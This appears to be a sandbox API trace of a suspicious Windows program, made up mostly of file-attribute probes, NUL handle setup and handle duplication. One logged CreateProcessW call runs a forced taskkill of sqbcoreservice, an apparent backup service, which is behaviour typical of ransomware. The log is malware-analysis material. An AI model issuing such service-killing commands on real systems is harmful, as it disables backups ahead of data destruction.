	[0043.466] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249f1d8 | out: lpFileInformation=0x1249f1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.466] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.467] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249f228 | out: lpFileInformation=0x1249f228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.467] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.467] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249f278 | out: lpFileInformation=0x1249f278*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.467] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.467] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x1249f2c8 | out: lpFileInformation=0x1249f2c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.467] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.467] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x1249f318 | out: lpFileInformation=0x1249f318*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.467] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.467] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x1249f368 | out: lpFileInformation=0x1249f368*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.467] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.467] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x1249f3b8 | out: lpFileInformation=0x1249f3b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.467] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.467] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12441c70, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.467] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f408 | out: lpFileInformation=0x1249f408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0043.468] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441d40, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.468] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f458 | out: lpFileInformation=0x1249f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0043.468] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8
	[0043.468] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0043.468] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0043.468] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0043.468] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0043.468] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0043.468] GetEnvironmentStringsW () returned 0x7eb348*
	[0043.469] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0043.469] GetCurrentProcess () returned 0xffffffff
	[0043.469] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5310, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5310*=0xbc) returned 1
	[0043.469] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5314, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5314*=0xc0) returned 1
	[0043.469] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5318, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5318*=0xc4) returned 1
	[0043.469] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im sqbcoreservice.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124be400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im sqbcoreservice.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xac, hThread=0xc8, dwProcessId=0x89c, dwThreadId=0x898)) returned 1
	[0043.476] CloseHandle (hObject=0xc8) returned 1
	[0043.476] CloseHandle (hObject=0xc4) returned 1
	[0043.477] CloseHandle (hObject=0xc0) returned 1
	[0043.477] CloseHandle (hObject=0xbc) returned 1
	[0043.477] CloseHandle (hObject=0xb8) returned 1
	[0043.477] CloseHandle (hObject=0xb4) returned 1
	[0043.477] CloseHandle (hObject=0xb0) returned 1
	[0043.477] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0xffffffff) returned 0x0
	[0043.898] SetEvent (hEvent=0xa8) returned 1
	[0043.898] GetExitCodeProcess (in: hProcess=0xac, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0043.898] GetProcessTimes (in: hProcess=0xac, lpCreationTime=0x124ceb60, lpExitTime=0x124ceb68, lpKernelTime=0x124ceb70, lpUserTime=0x124ceb78 | out: lpCreationTime=0x124ceb60, lpExitTime=0x124ceb68, lpKernelTime=0x124ceb70, lpUserTime=0x124ceb78) returned 1
	[0043.898] CloseHandle (hObject=0xac) returned 1
	[0043.898] SetEvent (hEvent=0x80) returned 1
	[0043.898] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0043.900] SetEvent (hEvent=0x80) returned 1
	[0043.900] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6000, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.900] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497908 | out: lpFileInformation=0x12497908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.900] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.900] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12497958 | out: lpFileInformation=0x12497958*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.900] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.900] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124979a8 | out: lpFileInformation=0x124979a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.900] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.901] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x124979f8 | out: lpFileInformation=0x124979f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.901] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.901] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12497a48 | out: lpFileInformation=0x12497a48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.901] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.901] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12497a98 | out: lpFileInformation=0x12497a98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.901] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.901] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12497ae8 | out: lpFileInformation=0x12497ae8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.902] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.902] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12497b38 | out: lpFileInformation=0x12497b38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.902] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.902] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12497b88 | out: lpFileInformation=0x12497b88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.902] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.902] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12497bd8 | out: lpFileInformation=0x12497bd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.902] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.902] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12497c28 | out: lpFileInformation=0x12497c28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.902] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.902] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12497c78 | out: lpFileInformation=0x12497c78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0043.902] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0043.902] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124e60d0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.902] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497cc8 | out: lpFileInformation=0x12497cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0043.902] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e61a0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.903] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497d18 | out: lpFileInformation=0x12497d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0043.903] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0043.903] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0043.903] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0043.903] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0043.903] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0043.903] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0043.903] GetEnvironmentStringsW () returned 0x7eb348*
	[0043.904] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0043.904] GetCurrentProcess () returned 0xffffffff
	[0043.904] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xac, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b9d0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b9d0*=0xb8) returned 1
	[0043.904] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b9d4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b9d4*=0xbc) returned 1
	[0043.904] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b9d8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b9d8*=0xc0) returned 1
